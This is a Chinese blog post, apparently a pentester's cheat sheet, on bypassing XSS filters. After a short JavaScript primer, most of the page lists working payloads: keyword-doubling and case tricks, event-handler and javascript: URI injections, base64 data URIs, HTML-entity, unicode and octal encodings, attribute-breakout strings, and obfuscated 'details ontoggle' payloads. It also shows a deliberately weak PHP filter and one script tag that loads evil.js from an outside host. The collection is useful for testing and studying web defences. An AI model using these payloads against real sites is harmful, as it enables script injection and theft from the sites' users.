美文网首页
XSS 绕过

XSS 绕过

作者: q1ya | 来源:发表于2019-07-09 09:27 被阅读0次

javascript

1、JavaScript代码可以直接嵌在网页的任何地方,不过通常我们都把JavaScript代码放到<head>中
2、由<script>...</script>包含的代码就是JavaScript代码,它将直接被浏览器执行
3、第二种方法是把JavaScript代码放到一个单独的.js文件(dy.js),然后在HTML中通过<script src="/dy.js"></script>引入这个文件
4、注释//和/*注释*/
5、html标签不区分大小写,但是javascript里面的代码严格区分大小写,如<HtMl>和<ScriPt>
6、JavaScript在设计之初,为了方便初学者学习,并不强制要求用var申明变量。这个设计错误带来了严重的后果:如果一个变量没有通过var申明就被使用,那么该变量就自动被申明为全局变量
7、可以用a='\u4e2d\u6587'代替a='中文'
8、要把多个字符串连接起来,可以用+号连接
9、单引号内为字符串如'xss',斜杠内也为字符串如/xss/,等效

XSS

测试代码

<>script<script>alert<a>'"javascript:href\eval
<svg onload=alert(/xss/)>
过滤alert、script等关键字

服务端代码

<?php
$name = $_GET['name'];
echo "<br>";
$qian = array("alert","script");
$hou = "";
$filter = str_replace($qian,$hou,$name);
echo "过滤后",$filter;

过滤alert

只过滤一次:<script>alalertert(1)</script>
prompt函数替代:<script>prompt(1)</script>`
confirm函数替代:<script>confirm(1)</script>`
以src外部调用格式:<script src="http://rhainfosec.com/evil.js"></scrip>

过滤script

只过滤一次:<scrscriptipt>alert('xss')</scrscriptipt>
大小写绕过:<SCript>alert('xss')</script>

过滤<script>

只过滤一次:<scr<script>ipt>alert('xss')</scr<script>ipt>

过滤alert(***)

<script>
a=alert
b='xss'
a(b)
</script>

使用<a>标签绕过

<a href="http://www.baidu.com">Clickme</a>
<a href="javascript:alert(1)">Clickme</a>
<A Href="javascript:alert(1)">Clickme</a>
<a href="rhainfosec.com" onmouseover=alert(1)>ClickHere</a>

src属性绕过

<img src=x onerror=prompt(1);>
<img/src=aaa.jpg onerror=prompt(1);> 
<video src=x onerror=prompt(1);>
<audio src=x onerror=prompt(1);>

iframe标签绕过

<iframe src="javascript:alert(2)">
<iframe src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">

embed标签绕过

<embed src="javascript:alert(2)">

action属性绕过

<form action="Javascript:alert(1)"><input type=submit>

formaction绕过

<form><button formaction=javascript&colon;alert(1)>CLICKME

data属性绕过

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object data=javascript:alert(1)>

事件触发

<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">

括号被过滤

<img src=x onerror="javascript:window.onerror=alert;throw 1">

location属性绕过

<a onmouseover=location='javascript:alert(1)'>click   鼠标移到click

其他

<meta http-equiv="refresh" content="0;url=www.baidu.com">
<svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/>
需要点击扇形
<math><a xlink:href="//www.baidu.com">click
需要点击
<svg><script>alert&#40/1/&#41</script>

输出在属性中,需要构造闭合

"><img src=x onerror=prompt(0);>
" autofocus onfocus=alert(1)//
"onmouseover=" prompt(0)x="
"onfocusin=alert(1) autofocusx="
" onfocusout=alert(1) autofocus x="
"onblur=alert(1) autofocusa="

输出在script标签中

构造闭合
";alert(1)//
";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//

unicode编码绕过

\u0061\u006c\u0065\u0072\u0074(1)是alert(1)的unicode编码,eval()会将编码过的语句解码后再执行
script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>

按位置分类

1、利用<script></script>标签
2、利用伪协议javascript:
<a href="javascript:alert(/xss/)">click</a>

绕过

1、html所有标签都不区分大小写,<A HrEf="javascript:alert(/xss/)">click</a>
2、html属性值支持ascii码十进制和十六进制
<a hRef="j&#65v&#97script:&#x61lert(/xss/)">click</a>
属性值指的是href=""引号内的值
A的ASCII十进制是&#65
a的ASCII十进制是&#97
但是javascript代码严格区分大小写,以上代码可以执行xss,说明ascii编码后A和a都变成a


2、JavaScript所有代码都不识别tab键,<A hRef="ja    vas cript   :alert(/    xss/)">click</a>
3、简单过滤绕过<scr<script>ipt>

html属性

<a>标签用于设置超链接,<a>标签最重要的属性是href,用于指定超链接的位置
href属性的内容也可以是JavaScript伪协议,点击后执行
<a href="javascript:alert(/xss/)">click</script>

xss模块注入

利用条件,在F12查看源码能看到用户输入的参数值,右键查看源码却看不到
使用{{$eval(alert(1))}}
如图

html实体编码引号

<img src =javascript:alert(&quot;XSS;&quot;)>

过滤alert()括号内容

<img src=1 onerror=[1].filter(alert)>

payload

<details open ontoggle=top['al'%2B'ert'](1) >
<details open ontoggle=self['al'%2B'ert'](1) >
<details open ontoggle=parent['al'%2B'ert'](1) >
<details open ontoggle=frames['al'%2B'ert'](1) >
<details open ontoggle=content['al'%2B'ert'](1) >
<details open ontoggle=window['al'%2B'ert'](1) >
JS8编码:
<details open ontoggle=top['al\145rt'](1) >
<details open ontoggle=top['\141\154\145\162\164'](1) >
JS16编码:
<details open ontoggle=top['al\x65rt'](1) >
其他
<details open ontoggle=top[/al/.source%2B/ert/.source](1) >
<details open ontoggle=top[8680439..toString(30)](1); >
<details open ontoggle=top[11189117..toString(32)](1); >
<img src=1 alt=al lang=ert onerror=top[alt%2blang](0)>
<details open ontoggle=top[a='al',b='ev',b%2ba]('alert(1)')>
<details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')>

相关文章

  • xss绕过

    当常见标签被过滤时,可以尝试以下几种,亲测有效 更多参考www.freebuf.com/articles/web/...

  • XSS 绕过

    javascript 1、JavaScript代码可以直接嵌在网页的任何地方,不过通常我们都把JavaScript...

  • XSS绕过WAF

    http://www.freebuf.com/articles/web/54686.html

  • XSS绕过姿势

    0x01 简单介绍 一个文件上传点是执行XSS应用程序的绝佳机会。很多网站都有用户权限上传个人资料图片的上传点,你...

  • XSS 绕过方法

    1、大小写混用 2、拼凑后台可能对一些字符过滤了一次,但是过滤后的其余字符又重新拼凑 3、注释干扰 4、使用img...

  • xss编码绕过

    对于xss等有关的html,url,unicode编码做的一个小总结。 - 奶奶奶奶奶糖 - 博客园

  • XSS攻击(Cross Site Scripting)

    参考资料:[1]. 浅谈XSS攻击的那些事(附常用绕过姿势)[2]. XSS(偷你的Cookies) 什么是XSS...

  • 绕过XSS-Filter

    绕过XSS-Filter (1)利用<>标记 XSS-Filter通常过滤转义“<>”“ ”等字符 (2)利用HT...

  • XSS绕过学习【转载】

    1,绕过单引号 我们假设管理员在我们的单引号之前放置了一个“\”,有时候双引号之前也会放置,通 过一些类似add_...

  • XSS--CSP绕过【firefox和chrome】和data:

    最近做一道关于XSS的CTF题目,用到了data://协议触发XSS,并且需要绕过带nonce的CSP策略。由于题...

网友评论

      本文标题:XSS 绕过

      本文链接:https://www.haomeiwen.com/subject/oamyqctx.html